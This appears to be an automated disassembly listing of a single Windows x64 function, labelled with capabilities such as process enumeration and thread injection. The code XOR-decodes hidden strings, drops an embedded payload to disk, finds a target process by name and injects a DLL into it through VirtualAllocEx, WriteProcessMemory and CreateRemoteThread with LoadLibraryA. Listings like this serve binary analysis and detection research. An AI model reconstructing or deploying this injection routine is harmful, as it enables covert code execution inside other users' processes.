Function at 0x140002a10
Capabilities:
Create directory
Create process on windows
Create thread
Enumerate processes
Inject thread
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x268]
sub rsp, 0x340
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
mov rax, qword [0x14006b040]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor r13d, r13d
cmp byte [0x1401004c0], r13b
je 0x1400047e9
mov rcx, qword [0x1401010d0]
test rcx, rcx
jne 0x140002a91
mov r8d, 0x997
lea rdx, [0x140053e60]
lea rcx, [0x140053f20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401010d0]
mov dword [rcx + 0x1654], 0x3f000000
mov dword [rcx + 0x1658], 0x3f000000
test rcx, rcx
jne 0x140002acb
mov r8d, 0x997
lea rdx, [0x140053e60]
lea rcx, [0x140053f20]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__wassert]
mov rcx, qword [0x1401010d0]
mov dword [rcx + 0x1648], 0x40c00000
mov dword [rcx + 0x1664], 0x3f000000
xorps xmm2, xmm2
movss xmm0, dword [0x1401004b0]
movss xmm1, dword [0x1401004b4]
mov eax, dword [rcx + 0x1dc0]
or eax, 1
mov dword [rcx + 0x1dc0], eax
unpcklps xmm0, xmm1
movsd qword [rcx + 0x1dd4], xmm0
xorps xmm1, xmm1
unpcklps xmm1, xmm2
movsd qword [rcx + 0x1ddc], xmm1
mov dword [rcx + 0x1dc4], 2
mov byte [rcx + 0x1dfc], 1
movss xmm0, dword [0x1401004b8]
movss xmm1, dword [0x1401004bc]
movss dword [rcx + 0x1de4], xmm0
movss dword [rcx + 0x1de8], xmm1
mov dword [rcx + 0x1dc8], 1
or eax, 0x42
mov dword [rcx + 0x1dc0], eax
mov dword [rcx + 0x1e20], 0x3f800000
mov r12d, 4
mov rax, qword gs:[0x58]
mov rdi, qword [rax]
mov eax, dword [r12 + rdi]
cmp dword [0x1401012a4], eax
jle 0x140002bdb
lea rcx, [0x1401012a4]
call fcn.140050e7c
cmp dword [0x1401012a4], 0xffffffff
jne 0x140002bdb
mov dword [0x14010132c], 0x15fed27
mov dword [0x140101320], 0x9270c531
mov dword [0x140101324], 0x817ff28
mov dword [0x140101328], 0xc56cc214
lea rcx, [0x140052b70]
call fcn.140051158
lea rcx, [0x1401012a4]
call fcn.140050e10
cmp byte [0x14010132f], r13b
je 0x140002c54
xor byte [0x140101320], 0x77
xor byte [0x140101321], 0xa9
xor byte [0x140101322], 0x1f
xor byte [0x140101323], 0xe5
xor byte [0x140101324], 0x51
xor byte [0x140101325], 0xdf
xor byte [0x140101326], 0x5f
xor byte [0x140101327], 0x69
xor byte [0x140101328], 0x77
xor byte [0x140101329], 0xa9
xor byte [0x14010132a], 0x1f
xor byte [0x14010132b], 0xe5
xor byte [0x14010132c], 0x51
xor byte [0x14010132d], 0xdf
xor byte [0x14010132e], 0x5f
mov byte [0x14010132f], r13b
mov r8d, 0x2b
lea rdx, [0x1401004c0]
lea rcx, [0x140101320]
call fcn.140014ce0
mov rcx, qword [0x1401010d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
movss xmm8, dword [0x140060c4c]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, xmm8
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x40], 0x439d8000
mov dword [rbp - 0x3c], 0x43160000
mov eax, dword [r12 + rdi]
cmp dword [0x140101268], eax
jle 0x140002d52
lea rcx, [0x140101268]
call fcn.140050e7c
cmp dword [0x140101268], 0xffffffff
jne 0x140002d52
mov dword [0x1401013a6], 0x1a53a83
mov dword [0x1401013a0], 0xfaf34ad3
mov word [0x1401013a4], 0x9256
lea rcx, [0x140052b50]
call fcn.140051158
lea rcx, [0x140101268]
call fcn.140050e10
cmp byte [0x1401013a9], r13b
je 0x140002da1
xor byte [0x1401013a0], 0xa5
xor byte [0x1401013a1], 0x2f
xor byte [0x1401013a2], 0x81
xor byte [0x1401013a3], 0x89
xor byte [0x1401013a4], 0x3f
xor byte [0x1401013a5], 0xfd
xor byte [0x1401013a6], 0xed
xor byte [0x1401013a7], 0x49
xor byte [0x1401013a8], 0xa5
mov byte [0x1401013a9], r13b
lea rdx, [rbp - 0x40]
lea rcx, [0x1401013a0]
call fcn.140011d30
mov qword [rbp - 0x40], r13
cmp dword [0x140101238], r13d
sete bl
mov eax, dword [r12 + rdi]
cmp dword [0x14010128c], eax
jle 0x140002e1c
lea rcx, [0x14010128c]
call fcn.140050e7c
cmp dword [0x14010128c], 0xffffffff
jne 0x140002e1c
mov word [0x140101399], 0x12d
mov dword [0x140101390], 0x13750dc4
mov dword [0x140101394], 0x9a3baf22
mov byte [0x140101398], 0x99
lea rcx, [0x140052b30]
call fcn.140051158
lea rcx, [0x14010128c]
call fcn.140050e10
cmp byte [0x14010139a], r13b
je 0x140002e72
xor byte [0x140101390], 0xf5
xor byte [0x140101391], 0x2d
xor byte [0x140101392], 3
xor byte [0x140101393], 0x33
xor byte [0x140101394], 0x13
xor byte [0x140101395], 0x8f
xor byte [0x140101396], 0x57
xor byte [0x140101397], 0xf5
xor byte [0x140101398], 0xf5
xor byte [0x140101399], 0x2d
mov byte [0x14010139a], r13b
lea r9, [rbp - 0x40]
xor r8d, r8d
movzx edx, bl
lea rcx, [0x140101390]
call fcn.14004b7f0
test al, al
je 0x140002e93
mov dword [0x140101238], r13d
call fcn.140011df0
mov rcx, qword [0x1401010d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, xmm8
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x140060c80]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
mov dword [rbp - 0x40], 0x43340000
mov dword [rbp - 0x3c], 0x43160000
mov eax, dword [r12 + rdi]
cmp dword [0x140101278], eax
jle 0x140002f7e
lea rcx, [0x140101278]
call fcn.140050e7c
cmp dword [0x140101278], 0xffffffff
jne 0x140002f7e
mov word [0x140101319], 0x107
mov dword [0x140101310], 0x7a51644c
mov dword [0x140101314], 0xa2968f3
mov byte [0x140101318], 0x5e
lea rcx, [0x140052b10]
call fcn.140051158
lea rcx, [0x140101278]
call fcn.140050e10
cmp byte [0x14010131a], r13b
je 0x140002fd4
xor byte [0x140101310], 0x2d
xor byte [0x140101311], 7
xor byte [0x140101312], 0x25
xor byte [0x140101313], 0x13
xor byte [0x140101314], 0x85
xor byte [0x140101315], 1
xor byte [0x140101316], 0x5d
xor byte [0x140101317], 0x6f
xor byte [0x140101318], 0x2d
xor byte [0x140101319], 7
mov byte [0x14010131a], r13b
lea rdx, [rbp - 0x40]
lea rcx, [0x140101310]
call fcn.140011d30
mov rcx, qword [0x1401010d0]
mov rax, qword [rcx + 0x1d18]
mov byte [rax + 0xd1], 1
mov rax, qword [rcx + 0x1d18]
movss xmm0, dword [rax + 0x54]
subss xmm0, dword [rax + 0xa0]
addss xmm0, dword [0x140060c54]
movss xmm2, dword [rax + 0x50]
subss xmm2, dword [rax + 0x9c]
addss xmm2, dword [0x140060c58]
movss dword [rax + 0x118], xmm2
movss dword [rax + 0x11c], xmm0
movss xmm1, dword [rax + 0x134]
maxss xmm1, xmm0
movss xmm0, dword [rax + 0x130]
maxss xmm0, xmm2
movss dword [rax + 0x130], xmm0
movss dword [rax + 0x134], xmm1
call fcn.140019d10
mov dword [rbp - 0x40], 0x42c80000
mov dword [rbp - 0x3c], 0x41f00000
mov eax, dword [r12 + rdi]
cmp dword [0x1401012dc], eax
jle 0x1400030cc
lea rcx, [0x1401012dc]
call fcn.140050e7c
cmp dword [0x1401012dc], 0xffffffff
jne 0x1400030cc
mov dword [0x1401011f0], 0x191a7f0
mov dword [0x1401011e8], 0x29f0bcfd
mov dword [0x1401011ec], 0x6c55865d
lea rcx, [0x140052af0]
call fcn.140051158
lea rcx, [0x1401012dc]
call fcn.140050e10
cmp byte [0x1401011f3], r13b
je 0x140003129
xor byte [0x1401011e8], 0x91
xor byte [0x1401011e9], 0xd3
xor byte [0x1401011ea], 0x91
xor byte [0x1401011eb], 0x4d
xor byte [0x1401011ec], 0x7d
xor byte [0x1401011ed], 0xe5
xor byte [0x1401011ee], 0x3d
xor byte [0x1401011ef], 9
xor byte [0x1401011f0], 0x91
xor byte [0x1401011f1], 0xd3
xor byte [0x1401011f2], 0x91
mov byte [0x1401011f3], r13b
lea rdx, [rbp - 0x40]
lea rcx, [0x1401011e8]
call fcn.140048f90
test al, al
je 0x14000418d
lea rcx, [rbp + 0xb0]
call fcn.140002310
nop
lea rcx, [rbp]
call fcn.1400024d0
nop
mov eax, dword [r12 + rdi]
cmp dword [0x1401011f8], eax
jle 0x1400031a4
lea rcx, [0x1401011f8]
call fcn.140050e7c
cmp dword [0x1401011f8], 0xffffffff
jne 0x1400031a4
mov dword [0x14010122e], 0x1ad37e6
mov word [0x14010122c], 0xc925
lea rcx, [0x140052ad0]
call fcn.140051158
lea rcx, [0x1401011f8]
call fcn.140050e10
cmp byte [0x140101231], 0
je 0x1400031d7
xor byte [0x14010122c], 0xb
xor byte [0x14010122d], 0xbd
xor byte [0x14010122e], 0x8b
xor byte [0x14010122f], 0x47
xor byte [0x140101230], 0xad
mov byte [0x140101231], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x40], xmm0
mov qword [rbp + 0x50], r13
mov qword [rbp + 0x58], r13
lea rdx, [0x14010122c]
mov rbx, 0xffffffffffffffff
mov r8, rbx
nop word [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x140003200
lea rcx, [rbp + 0x40]
call fcn.140006760
nop
mov eax, dword [r12 + rdi]
cmp dword [0x14010131c], eax
jle 0x140003266
lea rcx, [0x14010131c]
call fcn.140050e7c
cmp dword [0x14010131c], 0xffffffff
jne 0x140003266
mov word [0x140101273], 0x13d
mov word [0x140101270], 0x5b12
mov byte [0x140101272], 0xd2
lea rcx, [0x140052ac0]
call fcn.140051158
lea rcx, [0x14010131c]
call fcn.140050e10
cmp byte [0x140101274], 0
je 0x140003292
xor byte [0x140101270], 0x77
xor byte [0x140101271], 0x3f
xor byte [0x140101272], 0xb5
xor byte [0x140101273], 0x3d
mov byte [0x140101274], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x20], xmm0
mov qword [rbp + 0x30], r13
mov qword [rbp + 0x38], r13
lea rdx, [0x140101270]
mov r8, rbx
nop dword [rax + rax]
inc r8
cmp byte [rdx + r8], 0
jne 0x1400032b0
lea rcx, [rbp + 0x20]
call fcn.140006760
nop
mov eax, dword [r12 + rdi]
cmp dword [0x140101228], eax
jle 0x14000330d
lea rcx, [0x140101228]
call fcn.140050e7c
cmp dword [0x140101228], 0xffffffff
jne 0x14000330d
mov word [0x14010127d], 0x10f
mov byte [0x14010127c], 0x37
lea rcx, [0x140052ab0]
call fcn.140051158
lea rcx, [0x140101228]
call fcn.140050e10
cmp byte [0x14010127e], 0
je 0x14000332b
xor byte [0x14010127c], 0x6b
xor byte [0x14010127d], 0xf
mov byte [0x14010127e], 0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
mov qword [rbp + 0x70], r13
mov qword [rbp + 0x78], r13
lea rdx, [0x14010127c]
mov r8, rbx
inc r8
cmp byte [rdx + r8], 0
jne 0x140003344
lea rcx, [rbp + 0x60]
call fcn.140006760
nop
mov eax, dword [r12 + rdi]
cmp dword [0x14010136c], eax
jle 0x1400033b5
lea rcx, [0x14010136c]
call fcn.140050e7c
cmp dword [0x14010136c], 0xffffffff
jne 0x1400033b5
mov word [0x1401011e1], 0x16d
mov dword [0x1401011d8], 0xc9e157fc
mov dword [0x1401011dc], 0x2cfc96c9
mov byte [0x1401011e0], 0xe3
lea rcx, [0x140052a90]
call fcn.140051158
lea rcx, [0x14010136c]
call fcn.140050e10
cmp byte [0x1401011e2], 0
je 0x14000340b
xor byte [0x1401011d8], 0xbf
xor byte [0x1401011d9], 0x6d
xor byte [0x1401011da], 0xbd
xor byte [0x1401011db], 0x8f
xor byte [0x1401011dc], 0xa5
xor byte [0x1401011dd], 0xf9
xor byte [0x1401011de], 0x8b
xor byte [0x1401011df], 0x55
xor byte [0x1401011e0], 0xbf
xor byte [0x1401011e1], 0x6d
mov byte [0x1401011e2], 0
xor edx, edx
lea rcx, [0x1401011d8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
movdqa xmm6, xmmword [str.hs__a]
mov eax, dword [r12 + rdi]
cmp dword [0x140101224], eax
jle 0x14000346b
lea rcx, [0x140101224]
call fcn.140050e7c
cmp dword [0x140101224], 0xffffffff
jne 0x14000346b
mov word [0x140101368], 0x12b
movups xmmword [0x140101358], xmm6
lea rcx, [0x140052a70]
call fcn.140051158
lea rcx, [0x140101224]
call fcn.140050e10
cmp byte [0x140101369], 0
je 0x1400034f2
xor byte [0x140101358], 0x2b
xor byte [0x140101359], 0x49
xor byte [0x14010135a], 0x67
xor byte [0x14010135b], 0x41
xor byte [0x14010135c], 0xa5
xor byte [0x14010135d], 0x73
xor byte [0x14010135e], 0x53
xor byte [0x14010135f], 0x5d
xor byte [0x140101360], 0x2b
xor byte [0x140101361], 0x49
xor byte [0x140101362], 0x67
xor byte [0x140101363], 0x41
xor byte [0x140101364], 0xa5
xor byte [0x140101365], 0x73
xor byte [0x140101366], 0x53
xor byte [0x140101367], 0x5d
xor byte [0x140101368], 0x2b
mov byte [0x140101369], 0
xor edx, edx
lea rcx, [0x140101358]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rax, [rbp + 0xb0]
cmp qword [rbp + 0xc8], 7
cmova rax, qword [rbp + 0xb0]
mov qword [rbp - 0x40], rax
mov rax, qword [rbp + 0xc0]
mov qword [rbp - 0x38], rax
call fcn.140050a7c
movaps xmm0, xmmword [rbp - 0x40]
movdqa xmmword [rbp - 0x40], xmm0
lea r8, [rbp - 0x40]
mov edx, eax
lea rcx, [rbp - 0x60]
call fcn.1400076f0
nop
lea rdx, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rdx, qword [rbp + 0x60]
mov r8, qword [rbp + 0x70]
lea rcx, [rbp - 0x60]
call fcn.140006170
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x80], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rdx, qword [rbp + 0x20]
mov r8, qword [rbp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.140006170
xorps xmm0, xmm0
movups xmmword [rsp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x70], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x60], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x70], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rdx, qword [rbp]
mov r8, qword [rbp + 0x10]
lea rcx, [rsp + 0x60]
call fcn.140006170
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
lea rdx, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rdx, qword [rbp + 0x40]
mov r8, qword [rbp + 0x50]
lea rcx, [rsp + 0x40]
call fcn.140006170
xorps xmm0, xmm0
movups xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x10], r13
mov qword [rbp - 8], r13
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x20], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x10], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 0xf
mov byte [rax], 0
mov rdx, qword [rsp + 0x58]
cmp rdx, 0xf
jbe 0x1400036af
inc rdx
mov rcx, qword [rsp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036aa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036aa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rsp + 0x50], xmm0
mov byte [rsp + 0x40], 0
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x140003702
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400036fd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400036fd
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x140003753
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000374e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000374e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rbp - 0x70], xmm0
mov byte [rbp - 0x80], 0
mov rdx, qword [rbp - 0x48]
cmp rdx, 0xf
jbe 0x1400037a2
inc rdx
mov rcx, qword [rbp - 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000379d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000379d
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140051178
movdqa xmm0, xmmword [0x140060d20]
movdqu xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x60], 0
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp + 0xd0]
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdx, qword [rbp - 0x20]
lea rcx, [rbp + 0xd0]
call fcn.140005ad0
nop
mov r8d, 0x6fc00
lea rdx, [0x14006b0c0]
lea rcx, [rbp + 0xd0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::write_char_const____ptr64__long_long___int64_____ptr64]
mov rcx, qword [rax]
movsxd rcx, dword [rcx + 4]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_bool___cdecl_std::ios_base::operator__void_const___ptr64]
lea rcx, [rbp + 0xd8]
call fcn.1400060b0
test rax, rax
jne 0x140003840
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, [rbp + 0xd0]
xor r8d, r8d
lea edx, [r8 + 2]
add rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
nop
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0xd0], rax
mov rax, qword [rbp + 0xd0]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0xcc], edx
lea rcx, [rbp + 0xd8]
call fcn.140005a60
lea rcx, [rbp + 0xe0]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::destructor_void____ptr64]
lea rcx, [rbp + 0x178]
call qword [sym.imp.MSVCP140.dll_public_virtual:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::destructor_void____ptr64]
mov rax, qword gs:[0x58]
mov r14, qword [rax]
mov eax, dword [r12 + r14]
cmp dword [0x140101234], eax
jle 0x14000390a
lea rcx, [0x140101234]
call fcn.140050e7c
cmp dword [0x140101234], 0xffffffff
jne 0x14000390a
mov word [0x1401012d3], 0x1df
mov dword [0x1401012c8], 0x80c631a6
mov dword [0x1401012cc], 0xcf9bf0df
mov word [0x1401012d0], 0x3ff2
mov byte [0x1401012d2], 0x92
lea rcx, [0x140052a60]
call fcn.140051158
lea rcx, [0x140101234]
call fcn.140050e10
cmp byte [0x1401012d4], 0
je 0x14000396e
xor byte [0x1401012c8], 0x97
xor byte [0x1401012c9], 0x47
xor byte [0x1401012ca], 0xf7
xor byte [0x1401012cb], 0xdf
xor byte [0x1401012cc], 0x93
xor byte [0x1401012cd], 0xbf
xor byte [0x1401012ce], 0xd7
xor byte [0x1401012cf], 0xe1
xor byte [0x1401012d0], 0x97
xor byte [0x1401012d1], 0x47
xor byte [0x1401012d2], 0xf7
xor byte [0x1401012d3], 0xdf
mov byte [0x1401012d4], 0
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
mov esi, r13d
lea rdx, [rbp + 0xd0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x140003c4b
lea rdx, [rbp + 0xd0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
je 0x140003c4b
nop
lea rdx, [0x1401012c8]
lea rcx, [rbp + 0xfc]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__stricmp]
test eax, eax
je 0x140003c45
lea rdx, [rbp + 0xd0]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x1400039b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [r12 + r14]
cmp dword [0x1401012c0], eax
jle 0x140003a36
lea rcx, [0x1401012c0]
call fcn.140050e7c
cmp dword [0x1401012c0], 0xffffffff
jne 0x140003a36
mov dword [0x1401012ec], 0x1db245d
mov dword [0x1401012e8], 0xaab91170
lea rcx, [0x1400529c0]
call fcn.140051158
lea rcx, [0x1401012c0]
call fcn.140050e10
cmp byte [0x1401012ef], 0
je 0x140003a77
xor byte [0x1401012e8], 0x35
xor byte [0x1401012e9], 0x63
xor byte [0x1401012ea], 0xcb
xor byte [0x1401012eb], 0xc5
xor byte [0x1401012ec], 0x2f
xor byte [0x1401012ed], 5
xor byte [0x1401012ee], 0xdb
mov byte [0x1401012ef], 0
movdqa xmm6, xmmword [0x140060e90]
mov eax, dword [r12 + r14]
cmp dword [0x1401011f4], eax
jle 0x140003ac6
lea rcx, [0x1401011f4]
call fcn.140050e7c
cmp dword [0x1401011f4], 0xffffffff
jne 0x140003ac6
mov byte [0x140101388], 1
movups xmmword [0x140101378], xmm6
lea rcx, [0x1400529e0]
call fcn.140051158
lea rcx, [0x1401011f4]
call fcn.140050e10
cmp byte [0x140101388], 0
je 0x140003b46
xor byte [0x140101378], 0x35
xor byte [0x140101379], 0x63
xor byte [0x14010137a], 0xcb
xor byte [0x14010137b], 0xc5
xor byte [0x14010137c], 0x2f
xor byte [0x14010137d], 5
xor byte [0x14010137e], 0xdb
xor byte [0x14010137f], 0x95
xor byte [0x140101380], 0x35
xor byte [0x140101381], 0x63
xor byte [0x140101382], 0xcb
xor byte [0x140101383], 0xc5
xor byte [0x140101384], 0x2f
xor byte [0x140101385], 5
xor byte [0x140101386], 0xdb
xor byte [0x140101387], 0x95
mov byte [0x140101388], 0
xor r9d, r9d
lea r8, [0x1401012e8]
lea rdx, [0x140101378]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
mov byte [rax], 0
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rax, qword [rbp + 0x40]
mov byte [rax], 0
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rax, qword [rbp + 0x20]
mov byte [rax], 0
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rax, qword [rbp - 0x20]
mov byte [rax], 0
lea rax, [rbp + 0x60]
cmp qword [rbp + 0x78], 0xf
cmova rax, qword [rbp + 0x60]
mov byte [rax], 0
lea rax, [rbp]
cmp qword [rbp + 0x18], 0xf
cmova rax, qword [rbp]
mov qword [rbp + 0x10], r13
mov byte [rax], 0
lea rax, [rbp + 0x40]
cmp qword [rbp + 0x58], 0xf
cmova rax, qword [rbp + 0x40]
mov byte [rax], 0
lea rax, [rbp + 0x20]
cmp qword [rbp + 0x38], 0xf
cmova rax, qword [rbp + 0x20]
mov byte [rax], 0
lea rax, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rax, qword [rbp - 0x20]
mov qword [rbp - 0x10], r13
mov byte [rax], 0
mov rdx, qword [rbp - 8]
cmp rdx, 0xf
jbe 0x140004029
inc rdx
mov rcx, qword [rbp - 0x20]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140004024
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140004024
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
mov esi, dword [rbp + 0xd8]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
je 0x1400039e9
lea rdi, [rbp - 0x20]
cmp qword [rbp - 8], 0xf
cmova rdi, qword [rbp - 0x20]
mov r8d, esi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rsi, rax
cmp rax, 0xffffffffffffffff
jne 0x140003c8f
lea rcx, str.Handle_Error
call fcn.140001030
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov r8d, 0x104
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
inc rbx
cmp byte [rdi + rbx], 0
jne 0x140003cb1
mov r9, rbx
mov qword [rsp + 0x20], r13
mov r8, rdi
mov rdx, r15
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov rcx, rsi
test eax, eax
je 0x1400039e3
mov qword [rsp + 0x30], r13
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], r15
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
je 0x140003d0b
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
movdqa xmm6, xmmword [0x140060da0]
movdqa xmm7, xmmword [0x140060db0]
mov dword [rbp + 0xa0], 0xeef5efc7
mov dword [rbp + 0xa4], 0x10173e2f
mov dword [rbp + 0xa8], 0xe7f8f589
mov eax, dword [r12 + r14]
cmp dword [0x14010126c], eax
jle 0x140003dae
lea rcx, [0x14010126c]
call fcn.140050e7c
cmp dword [0x14010126c], 0xffffffff
jne 0x140003dae
mov word [0x1401013e4], 0x10f
movups xmmword [0x1401013b8], xmm6
movups xmmword [0x1401013c8], xmm7
movsd xmm0, qword [rbp + 0xa0]
movsd qword [0x1401013d8], xmm0
mov eax, dword [rbp + 0xa8]
mov dword [0x1401013e0], eax
lea rcx, [0x140052a30]
call fcn.140051158
lea rcx, [0x14010126c]
call fcn.140050e10
lea rdx, [rbp - 0x40]
lea rcx, [0x1401013b8]
call fcn.140004d70
nop
mov rdx, qword [0x140101140]
cmp rdx, qword [0x140101148]
je 0x140003e04
xorps xmm0, xmm0
movups xmmword [rdx], xmm0
mov qword [rdx + 0x10], r13
mov qword [rdx + 0x18], r13
movups xmm0, xmmword [rax]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rdx + 0x10], xmm1
mov qword [rax + 0x10], r13
